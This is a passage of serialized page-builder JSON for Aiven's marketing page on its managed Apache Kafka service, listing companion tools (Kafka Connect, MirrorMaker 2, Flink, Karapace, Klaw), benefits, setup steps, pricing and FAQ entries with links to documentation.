Connectors"}],"markDefs":[{"_key":"ee8851238d84","_type":"internalLink","internalLink":{"_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784","_type":"reference"}}],"style":"normal"},{"_key":"0557782d589c","_type":"block","children":[{"_key":"665a5c63cc12","_type":"span","marks":["30dc5c20d2f3"],"text":"Get started with Aiven for Apache Kafka Connect (docs)"}],"markDefs":[{"_key":"30dc5c20d2f3","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/get-started"}],"style":"normal"},{"_key":"2d6bf651d3ab","_type":"block","children":[{"_key":"ef375e601a280","_type":"span","marks":["30692184b5de"],"text":"Find connectors here (docs)"}],"markDefs":[{"_key":"30692184b5de","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins"}],"style":"normal"},{"_key":"64dc8c6112a9","_type":"block","children":[{"_key":"3192803a6d060","_type":"span","marks":["529053a4f691"],"text":"An example using Kafka Connect (blog)"}],"markDefs":[{"_key":"529053a4f691","_type":"internalLink","internalLink":{"_ref":"7bElzaANLEsZkdrtXlmTqh","_type":"reference"}}],"style":"normal"}]},{"_key":"b66441d94eb4","_type":"textItem","content":[{"_key":"b958542b866b","_type":"block","children":[{"_key":"6d7173d3c7e90","_type":"span","marks":[],"text":"Aiven for Apache Kafka® MirrorMaker 2"}],"markDefs":[],"style":"h3"},{"_key":"13046fa54cd3","_type":"block","children":[{"_key":"d968c98c31520","_type":"span","marks":[],"text":"A managed, distributed Kafka data replication tool for disaster recovery and geographical proximity. Define replication flows and synchronize your topic data across Kafka clusters deployed anywhere in the world."}],"markDefs":[],"style":"normal"},{"_key":"92c058b43ced","_type":"block","children":[{"_key":"f52de866f55b0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"52f61d2a9770","_type":"block","children":[{"_key":"aa9cdfea93240","_type":"span","marks":["f773254ce11b"],"text":"Get started with Aiven for Apache Kafka MirrorMaker 2 (docs)"}],"markDefs":[{"_key":"f773254ce11b","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-mirrormaker/get-started"}],"style":"normal"},{"_key":"213832d1c3ac","_type":"block","children":[{"_key":"2f67978d112d0","_type":"span","marks":["d354d1d40241"],"text":"Five reasons why you should be using MirrorMaker 2.0 for data replication (blog)"}],"markDefs":[{"_key":"d354d1d40241","_type":"internalLink","internalLink":{"_ref":"5ldaB9gWRk2DWBu2R3QzcR","_type":"reference"}}],"style":"normal"}]},{"_key":"5627270af86a","_type":"textItem","content":[{"_key":"c6d30b01da08","_type":"block","children":[{"_key":"0c72bf1819550","_type":"span","marks":[],"text":"Aiven for Apache Flink®"}],"markDefs":[],"style":"h3"},{"_key":"bbcef9f78f6c","_type":"block","children":[{"_key":"2c56068797f1","_type":"span","marks":[],"text":"An open source, data stream processing framework for event-driven architectures, streaming analytics, rules engines, machine learning, and more. Ideal for real-time alerting, enriching, aggregation, filtering, and analyzing streaming data in motion. Known for processing massive amounts of data in parallel and in-memory with very low latencies to satisfy the most demanding workloads."}],"markDefs":[],"style":"normal"},{"_key":"515f2cd1850b","_type":"block","children":[{"_key":"0dae282a206d0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"f145d0b8ee6e","_type":"block","children":[{"_key":"1a4a13a591cd","_type":"span","marks":["9abe7f0237f0"],"text":"Aiven for Apache Flink"}],"markDefs":[{"_key":"9abe7f0237f0","_type":"internalLink","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"}}],"style":"normal"},{"_key":"36708c9da2fc","_type":"block","children":[{"_key":"f7cf6776daf40","_type":"span","marks":["e6cf6432a2dd"],"text":"Get started with Aiven for Apache Flink (docs)"}],"markDefs":[{"_key":"e6cf6432a2dd","_type":"link","href":"https://aiven.io/docs/products/flink/get-started"}],"style":"normal"},{"_key":"ece30cad36c4","_type":"block","children":[{"_key":"df404e2222b50","_type":"span","marks":["875c7cf25e56"],"text":"Introduction to Apache Flink (blog)"}],"markDefs":[{"_key":"875c7cf25e56","_type":"internalLink","internalLink":{"_ref":"2gd1vIdghZUUbOpQMshxXS","_type":"reference"}}],"style":"normal"},{"_key":"110de7e95af2","_type":"block","children":[{"_key":"ce226e9375de0","_type":"span","marks":["fd3e0b5af39f"],"text":"Build a streaming SQL pipeline with Apache Flink and Apache Kafka (blog)"}],"markDefs":[{"_key":"fd3e0b5af39f","_type":"internalLink","internalLink":{"_ref":"7IDTlcURHzZ8SEgvYlcy6Q","_type":"reference"}}],"style":"normal"}]},{"_key":"b4cd2ac7dbf7","_type":"textItem","content":[{"_key":"b682054aac76","_type":"block","children":[{"_key":"468249f74de00","_type":"span","marks":[],"text":"Karapace"}],"markDefs":[],"style":"h3"},{"_key":"7640ed7808c5","_type":"block","children":[{"_key":"48e00f3015ba","_type":"span","marks":[],"text":"Karapace is an Aiven-built, open source implementation of the Apache Kafka® REST API and Schema Registry. It provides a central repository to create, store, retrieve, and manage your schemas. Applications can access the schemas to serialize and deserialize messages. The Rest proxy provides an HTTP interface to the Kafka cluster for producing and consuming messages."}],"markDefs":[],"style":"normal"},{"_key":"1b2627c09859","_type":"block","children":[{"_key":"3104d2ada0970","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"949da40a029b","_type":"block","children":[{"_key":"a3a88c8d91a90","_type":"span","marks":["4f84ee36ad2a"],"text":"Karapace documentation"}],"markDefs":[{"_key":"4f84ee36ad2a","_type":"link","href":"https://github.com/aiven/karapace/blob/master/README.rst"}],"style":"normal"},{"_key":"b57c8f4e1d41","_type":"block","children":[{"_key":"6540a18feab60","_type":"span","marks":["9a95a07b7a40"],"text":"What is Karapace? (blog)"}],"markDefs":[{"_key":"9a95a07b7a40","_type":"internalLink","internalLink":{"_ref":"4kZePZcGxjPJAFk0KUyhp2","_type":"reference"}}],"style":"normal"}]},{"_key":"00436dba0c9f","_type":"textItem","content":[{"_key":"7d3d292cb9e1","_type":"block","children":[{"_key":"62395fb347b0","_type":"span","marks":["strong"],"text":"Klaw"}],"markDefs":[],"style":"h3"},{"_key":"506200fe3a1f","_type":"block","children":[{"_key":"ef077116b185","_type":"span","marks":[],"text":"Take care of your Apache Kafka® security and governance. Klaw is an open source, web-based data governance toolkit to manage Kafka topics, ACLs, schemas, and connectors. It enables granular user management, data security and governance standards across an organization."}],"markDefs":[],"style":"normal"},{"_key":"26579215a52d","_type":"block","children":[{"_key":"65514a6f3b62","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"5f24b6d4fd28","_type":"block","children":[{"_key":"05b8637c2c9a","_type":"span","marks":["df0743f296d6"],"text":"Introducing Klaw for Apache Kafka governance (blog)"}],"markDefs":[{"_key":"df0743f296d6","_type":"internalLink","internalLink":{"_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"}}],"style":"normal"},{"_key":"582b8a04dd88","_type":"block","children":[{"_key":"2cbb1bc73403","_type":"span","marks":["66ca544e502b"],"text":"Klaw project page"}],"markDefs":[{"_key":"66ca544e502b","_type":"link","href":"https://klaw-project.io/"}],"style":"normal"},{"_key":"f2f956d96f2e","_type":"block","children":[{"_key":"16ea767598cb","_type":"span","marks":["bf94e95afcd7"],"text":"Klaw documentation (docs)"}],"markDefs":[{"_key":"bf94e95afcd7","_type":"link","href":"https://klaw-project.io/docs"}],"style":"normal"}]},{"_key":"35e7f7792fe0","_type":"textItem","content":[{"_key":"afb5d8b375b1","_type":"block","children":[{"_key":"08c6b0cfe60a0","_type":"span","marks":[],"text":"Integrate with your favorite external logging and monitoring tools"}],"markDefs":[],"style":"h3"},{"_key":"ea933e31491a","_type":"block","children":[{"_key":"b590247aa15f0","_type":"span","marks":[],"text":"Easy integrations with tools like Datadog, Prometheus, Amazon CloudWatch, Elasticsearch and more — or Aiven services for M3, Grafana and OpenSearch for enhanced monitoring and logging. Expose your server or service specific metrics to external endpoints to monitor the health of your Kafka cluster."}],"markDefs":[],"style":"normal"},{"_key":"ef4aef9333d0","_type":"block","children":[{"_key":"ef001e2f2cf50","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"45cdf18d177d","_type":"block","children":[{"_key":"4b97ae05979b0","_type":"span","marks":["d6067df0c283"],"text":"All integrations for Aiven products (web page)"}],"markDefs":[{"_key":"d6067df0c283","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"},{"_key":"80e7112be789","_type":"block","children":[{"_key":"fc4de7bf11680","_type":"span","marks":["8370cf7bd0f1"],"text":"Getting started with Datadog (docs)"}],"markDefs":[{"_key":"8370cf7bd0f1","_type":"link","href":"https://docs.aiven.io/docs/integrations/datadog/datadog-metrics"}],"style":"normal"}]}],"subtitle":[{"_key":"81cb83a03c29","_type":"block","children":[{"_key":"42618879a521","_type":"span","marks":[],"text":"Aiven is one of the leading Apache Kafka providers for "},{"_key":"8c194e15f927","_type":"span","marks":["d2ec2db416a6"],"text":"streaming solutions"},{"_key":"f7aaa75f244f","_type":"span","marks":[],"text":", and we're experts in the Kafka architecture. We bring together all the elements needed for you to move massive amounts of data with very low latency. Our streaming platform is ideal for event-driven architectures, streaming data pipelines, fine-tuning AI models, real-time analytics, and more."}],"markDefs":[{"_key":"d2ec2db416a6","_type":"internalLink","internalLink":{"_ref":"f820e157-d994-42a0-8492-e7ca6a5d655c","_type":"reference"}}],"style":"normal"}],"tagline":"How it works","title":"A complete open source ecosystem for Apache Kafka®","tools":[{"_key":"92b284cfbd63","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"33266d75cf7f","_ref":"8986d4de-d1f0-456a-9b22-94d18130dded","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"kafka-ecosystem"},{"_key":"71c1f83c9900da516dde0a11b18fdb2a","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","darkTheme":false,"disabled":false,"fullWidth":false,"infoBanner":{"_ref":"46716318-efb7-46ff-9c80-7be6ec102dc2","_type":"reference"},"noSpaceBottom":true,"noSpaceTop":true,"variant":"vertical"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","alt":"Apache Kafka as a service with automatic updates and upgrades","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"42c640bed547","_type":"block","children":[{"_key":"96fa9ec854010","_type":"span","marks":[],"text":"Stressing about applying Kafka maintenance updates or version upgrades to your clusters? Handle updates and upgrades with just a few clicks with Aiven's managed Kafka service. Enjoy near-zero interruptions or downtime."}],"markDefs":[],"style":"normal"}],"title":"Automatic updates and upgrades. Zero stress."},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","alt":"Hosted Apache Kafka with 99.99% uptime","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ac6bcb5a619c","_type":"block","children":[{"_key":"987b7a5a638c0","_type":"span","marks":[],"text":"Downtime is a disaster for streaming pipelines and microservices. That’s why Aiven makes sure you get 99.99% uptime. Plus, you get access to a 100% human support team — in case you need a helping hand."}],"markDefs":[],"style":"normal"}],"title":"99.99% uptime. 100% human support."},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","alt":"Apache Kafka cloud service with transparent Kafka pricing","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"b71cde196181","_type":"block","children":[{"_key":"89bebeddddfe","_type":"span","marks":[],"text":"If you are asking \"How much does Kafka cost?\" check out our all-inclusive pricing with "},{"_key":"cb1e75d54a51","_type":"span","marks":["26169fce249b"],"text":"Tiered Storage"},{"_key":"e6ac2a9cc0cd","_type":"span","marks":[],"text":" to reduce storage costs while providing unlimited data retention scalability. No hidden fees or charges, just one payment that covers networking to data storage, and everything in-between."}],"markDefs":[{"_key":"26169fce249b","_type":"internalLink","internalLink":{"_ref":"d673489a-c315-4ea8-b272-3ed867b2ab55","_type":"reference"}}],"style":"normal"}],"title":"Super-transparent Kafka pricing. No networking costs."},{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"f983250fb10e","_type":"block","children":[{"_key":"46c2de13d9ac0","_type":"span","marks":[],"text":"Setting up Kafka has never been easier. Just a few clicks in our Kafka UI and you are up and running. Aiven for Apache Kafka is fully self-driving with automatic provisioning, cluster expansion, storage and capacity management, monitoring, upgrades, and security patches."}],"markDefs":[],"style":"normal"}],"title":"New clusters. More nodes. More storage. Go multi-cloud."}],"id":"benefits","noSpaceBottom":false,"subtitle":[{"_key":"175d09716ab9","_type":"block","children":[{"_key":"01283823d7450","_type":"span","marks":[],"text":"Set up clusters, deploy new nodes, migrate clouds and upgrade existing versions with Aiven’s managed Apache Kafka as a service. It takes just a few clicks before you can start monitoring through a simple dashboard."}],"markDefs":[],"style":"normal"},{"_key":"3731893ba00a","_type":"block","children":[{"_key":"75f9659f00be0","_type":"span","marks":[],"text":"Focus on creating and implementing applications, without the worry of managing and maintaining Apache Kafka yourself."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of Aiven for Apache Kafka as-a-service"},{"_key":"9ea9e20f9cda","_type":"testimonial","ctaLink":{"_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"View all customer stories"},"disabled":false,"fullWidth":false,"id":"references","isHideItemLink":false,"items":[{"_key":"9b52113ce89d","_ref":"8c30efff-1771-4f8c-a629-2bfe8e5d0216","_type":"reference"},{"_key":"5093fa79a7e5","_ref":"30Fo7ijwllqOgI3Osztlam","_type":"reference"},{"_key":"02e11427d196","_ref":"22jBgrWrLcG7dnnatqlE9M","_type":"reference"}],"noSpaceBottom":false,"roundedCorners":"rounded-none","tagline":"Customer stories","title":"How our customers use Apache Kafka","variant":"logo"},{"_key":"f4e2cb30eaf6","_type":"textColumn","disabled":false,"fullWidth":false,"id":"features","noSpaceBottom":true,"noSpaceTop":false,"tagline":"Features","title":"Key features of Aiven for Apache Kafka","variant":"centerColumn"},{"_key":"b3c61d1d32f4faf97c0a21c456589e75","_type":"textVideo","disabled":false,"fullWidth":false,"noSpaceBottom":true,"rounded":false,"tagline":"Setting up Kafka","text":[{"_key":"c71930937e0a","_type":"block","children":[{"_key":"26018db3db540","_type":"span","marks":[],"text":"Watch the video to see how to get started with Kafka"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f00fffad8c0c","_type":"block","children":[{"_key":"c58a07e75ca30","_type":"span","marks":[],"text":"Deploy Kafka on AWS, GCP, Azure, Digital Ocean, or UpCloud"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5fc823f3780c","_type":"block","children":[{"_key":"2636022673db0","_type":"span","marks":[],"text":"Select the Kafka pricing plan that best fits your needs"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"44d9edbc8d1b","_type":"block","children":[{"_key":"ebba0088be99","_type":"span","marks":[],"text":"Create a production-ready, hosted Apache Kafka cluster in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bf019563c4fc","_type":"block","children":[{"_key":"ca15462d3b51","_type":"span","marks":[],"text":"Leverage your cloud account discounts with our "},{"_key":"df092f75e41e","_type":"span","marks":["956f506713dd"],"text":"Bring Your Own Cloud (BYOC)"},{"_key":"a66f16797e19","_type":"span","marks":[],"text":" deployment model"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"956f506713dd","_type":"internalLink","internalLink":{"_ref":"7331d886-a62a-49c1-92bd-0b7d9f55dd21","_type":"reference"}}],"style":"normal"},{"_key":"e39b65df14c4","_type":"block","children":[{"_key":"dea7740e3de8","_type":"span","marks":[],"text":"Use Tiered Storage to reduce storage costs, increase operational flexibility, and provide unlimited data retention scalability"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"How to set up Apache Kafka","variant":"mediaLeft","ytId":"FA6pcvhhut8"},{"_key":"85009f410ade83c5a2683908777f1823","_type":"textVideo","disabled":false,"fullWidth":false,"noSpaceBottom":true,"rounded":false,"tagline":"Connect to Kafka","text":[{"_key":"b477aa240843","_type":"block","children":[{"_key":"3b6892f019670","_type":"span","marks":[],"text":"Use your existing SAML or Google OAuth for Kafka authentication"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"36470f17bf83","_type":"block","children":[{"_key":"c8014f20299d0","_type":"span","marks":[],"text":"Connect external data sources with Aiven’s managed Kafka Connect service and "},{"_key":"c8014f20299d1","_type":"span","marks":["bc9dec502447"],"text":"30+ built-in connectors"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"bc9dec502447","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins"}],"style":"normal"},{"_key":"e70219a417f7","_type":"block","children":[{"_key":"6751b1ff3d520","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"6751b1ff3d521","_type":"span","marks":["0cda579e7f1c"],"text":"VPC peering"},{"_key":"6751b1ff3d522","_type":"span","marks":[],"text":", "},{"_key":"6751b1ff3d523","_type":"span","marks":["0e25b7123513"],"text":"PrivateLink"},{"_key":"6751b1ff3d524","_type":"span","marks":[],"text":" or "},{"_key":"6751b1ff3d525","_type":"span","marks":["a889a1b3e182"],"text":"TransitGateway"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0cda579e7f1c","_type":"link","href":"https://aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"0e25b7123513","_type":"link","href":"https://aiven.io/docs/tools/cli/service/privatelink"},{"_key":"a889a1b3e182","_type":"link","href":"https://aiven.io/docs/platform/howto/attach-vpc-aws-tgw"}],"style":"normal"},{"_key":"093780cd797a","_type":"block","children":[{"_key":"b14c3145ee5b","_type":"span","marks":[],"text":"Store schemas in a central repository with "},{"_key":"a93cf7c4a578","_type":"span","marks":["9e8a3e6f2062"],"text":"Karapace.io"},{"_key":"331ce54810e7","_type":"span","marks":[],"text":", an open source REST API and Schema Registry for Kafka"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9e8a3e6f2062","_type":"link","href":"https://karapace.io/"}],"style":"normal"},{"_key":"91eb4586f2e0","_type":"block","children":[{"_key":"96d565cc9273","_type":"span","marks":[],"text":"Single-click portability to other cloud providers"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Integrate with your infrastructure","variant":"mediaRight","ytId":"7fU13zlDjRQ"},{"_key":"b54ccb18eefa","_type":"textVideo","disabled":false,"fullWidth":false,"noSpaceBottom":true,"rounded":false,"tagline":"Managing Kafka","text":[{"_key":"15a2058ed45c","_type":"block","children":[{"_key":"c237d056b1a6","_type":"span","marks":[],"text":"Use your favorite Kafka UI tool, e.g. "},{"_key":"a231a3a139fd","_type":"span","marks":["8592d9fb5f12"],"text":"Klaw"},{"_key":"51ebf325095f","_type":"span","marks":[],"text":", Conduktor, Kafdrop or kcat"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8592d9fb5f12","_type":"link","href":"https://www.klaw-project.io/"}],"style":"normal"},{"_key":"df7f5d89b0b5","_type":"block","children":[{"_key":"f4252c2f5732","_type":"span","marks":[],"text":"Manage Kafka clusters through the Aiven Console (GUI), "},{"_key":"dc8fedabfc85","_type":"span","marks":["df7428baa775"],"text":"CLI"},{"_key":"23e505539e37","_type":"span","marks":[],"text":", Terraform or Kubernetes tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"df7428baa775","_type":"link","href":"https://aiven.io/docs/tools/cli"}],"style":"normal"},{"_key":"c4730e9309eb","_type":"block","children":[{"_key":"db472f2fe48b","_type":"span","marks":[],"text":"Manage users and access control lists (ACL) and inspect Kafka topics"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7f5feba9dece","_type":"block","children":[{"_key":"847c950528aa","_type":"span","marks":[],"text":"Replicate Kafka clusters for disaster recovery or geographical proximity with the Aiven for Apache Kafka MirrorMaker 2 service"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"10b2b3596f0b","_type":"block","children":[{"_key":"b7be7c48f1f4","_type":"span","marks":["b0b1ffd5d74c"],"text":"Integrate"},{"_key":"2428195758dc","_type":"span","marks":[],"text":" with your favorite observability tools including Datadog, Prometheus, Jolokia and more, or use "},{"_key":"a9a08f9392d8","_type":"span","marks":["aa5b5bbd0694"],"text":"Aiven observability tools"},{"_key":"62fa448a9c50","_type":"span","marks":[],"text":" for enhanced monitoring and logging"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b0b1ffd5d74c","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}},{"_key":"aa5b5bbd0694","_type":"internalLink","internalLink":{"_ref":"4355d09b-4181-4bab-b701-d160e07eb56e","_type":"reference"}}],"style":"normal"}],"title":"How to manage Kafka","variant":"mediaLeft","ytId":"VixIQh9S6T8"},{"_key":"c48ee4ff96855f5b9f1c0870730c31aa","_type":"textVideo","disabled":false,"fullWidth":false,"rounded":false,"tagline":"Operating Kafka","text":[{"_key":"d3b57b547016","_type":"block","children":[{"_key":"180599bcc50b","_type":"span","marks":[],"text":"Fully self-driving with automatic provisioning, cluster expansion, storage and capacity management, load balancing, monitoring, upgrades, and security patches"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"079aa89e7eab","_type":"block","children":[{"_key":"d3f56bfd6a430","_type":"span","marks":[],"text":"Self-healing automation with 99.99% uptime SLA through dedicated, cloud-native clusters deployed across three availability zones"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"76935c577b3a","_type":"block","children":[{"_key":"ad26f467b30b","_type":"span","marks":[],"text":"Near-zero downtime during scaling, upgrading and other management operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b8c2a3a6b2a0","_type":"block","children":[{"_key":"3bc78f061bda0","_type":"span","marks":["91561b72e936"],"text":"Secure and compliant"},{"_key":"1306c66bb27b","_type":"span","marks":[],"text":" Kafka managed service - ISO 27001:2013, SOC2, GDPR, HIPAA and PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"91561b72e936","_type":"link","href":"https://aiven.io/security-compliance"}],"style":"normal"}],"title":"How to operate Kafka","variant":"mediaRight","ytId":"8Ff_3WoaraY"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-tl-br","title":"Get your first cluster online now","variant":"centerColumn"},{"_key":"15273e8e8f7739d83705c7a519d9651d","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"service":{"_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},"subtitle":[{"_key":"ab1d5919b508","_type":"block","children":[{"_key":"a4b46bb14322","_type":"span","marks":[],"text":"All-inclusive Kafka pricing so you never get end of the month surprises. No add-on maintenance, networking or storage fees. Private networking (VPC), high availability, multi-AZ and single-tenant, dedicated clusters with each virtual machine placed in a different availability zone. "}],"markDefs":[],"style":"normal"},{"_key":"27e8d47ac6f2","_type":"block","children":[{"_key":"ed88c98b20de","_type":"span","marks":[],"text":"Scale up or down when needed and only pay for what you use with hosted Apache Kafka from Aiven. Use Tiered Storage to reduce storage costs, increase operational flexibility, and provide unlimited data retention scalability."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven for Apache Kafka pricing plans","title":"Enjoy high availability even with the smallest plan","variant":"single-service"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"8519e47d2f09","_type":"accordionItem","panelText":[{"_key":"6b000c7466b2","_type":"block","children":[{"_key":"f8bb34823e1b0","_type":"span","marks":[],"text":"Using a managed Apache Kafka service like Aiven for Apache Kafka, allows data teams to overcome the challenges of building, maintaining, and operating the Apache Kafka infrastructure while at the same time leveraging the elasticity, scalability, and global availability of the cloud."}],"markDefs":[],"style":"normal"}],"title":"Why should I use a managed cloud Kafka service?"},{"_key":"ac9362945f39","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},{"_key":"0c2f8fea2bf8","_type":"accordionItem","id":"connectors","panelText":[{"_key":"ee1456edcb6b","_type":"block","children":[{"_key":"47677f0e53050","_type":"span","marks":[],"text":"Easily connect to your data producers and data consumers with 30+ pre-built Kafka connectors. Click "},{"_key":"1016bb93ec93","_type":"span","marks":["dc510e8eb48c"],"text":"here"},{"_key":"f349ef589584","_type":"span","marks":[],"text":" to view the full list."}],"markDefs":[{"_key":"dc510e8eb48c","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins"}],"style":"normal"}],"title":"Which connectors can I use with Aiven for Apache Kafka?"},{"_key":"fc3d2ed76cce","_type":"accordionItem","id":"kafka-tiered-storage","panelText":[{"_key":"2033b64e4018","_type":"block","children":[{"_key":"7ef1bb8a22af0","_type":"span","marks":["9cfc31fb1d71"],"text":"Tiered Storage"},{"_key":"833ee99dd37f","_type":"span","marks":[],"text":" reduces storage costs, increases operational flexibility, and provides unlimited data retention scalability."}],"markDefs":[{"_key":"9cfc31fb1d71","_type":"internalLink","internalLink":{"_ref":"d673489a-c315-4ea8-b272-3ed867b2ab55","_type":"reference"}}],"style":"normal"},{"_key":"c293a8f5bd79","_type":"block","children":[{"_key":"96f048889a390","_type":"span","marks":["strong"],"text":"Retain data indefinitely:"},{"_key":"96f048889a391","_type":"span","marks":[],"text":" Retain data in Kafka for extended periods or indefinitely, with incurring significant costs"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3da6d3546d37","_type":"block","children":[{"_key":"5eac31681d280","_type":"span","marks":["strong"],"text":"Cost optimization:"},{"_key":"5eac31681d281","_type":"span","marks":[],"text":" Reduce Kafka storage costs, especially for large datasets with long retention periods"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"77db1661285b","_type":"block","children":[{"_key":"a5779119a75c0","_type":"span","marks":["strong"],"text":"Improve scalability and performance:"},{"_key":"a5779119a75c1","_type":"span","marks":[],"text":" Decouple compute (brokers) and storage (remote) to scale each independently"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cd7b8c35196e","_type":"block","children":[{"_key":"d4428e99c9740","_type":"span","marks":["strong"],"text":"Simplify operations:"},{"_key":"d4428e99c9741","_type":"span","marks":[],"text":" Simplify cluster management, reduce maintenance downtime, optimize resource utilization, and reduce Kafka admin time spent managing operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"12f02cb64ff2","_type":"block","children":[{"_key":"3d0a7c90d2ea0","_type":"span","marks":["strong"],"text":"Innovation:"},{"_key":"3d0a7c90d2ea1","_type":"span","marks":[],"text":" Unlock new use cases where Kafka was once deemed impractical or too expensive"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"How do I reduce Kafka costs while retaining more historical data?"},{"_key":"17be90584e9f13d8566c4c1c44c6ee59","_type":"accordionItem","id":"upgrade","panelText":[{"_key":"29bd91d3e85d","_type":"block","children":[{"_key":"17729e4f5d070","_type":"span","marks":[],"text":"During any upgrade process, new Kafka nodes are started alongside your existing nodes."}],"markDefs":[],"style":"normal"},{"_key":"d580ebeb6e19","_type":"block","children":[{"_key":"41c0e6fcc09d0","_type":"span","marks":[],"text":"They join the Kafka cluster, now a mixture of old and new nodes. Aiven code coordinates streaming data from old to new nodes and moves partition leadership to new nodes. Old nodes with no more data are then retired from the cluster. "},{"_key":"41c0e6fcc09d1","_type":"span","marks":["6578cf36c730"],"text":"Read more"},{"_key":"41c0e6fcc09d2","_type":"span","marks":[],"text":" for a detailed step-by-step explanation of how this works."}],"markDefs":[{"_key":"6578cf36c730","_type":"link","href":"https://aiven.io/docs/products/kafka/concepts/upgrade-procedure"}],"style":"normal"}],"title":"What happens to my service and data during upgrades and 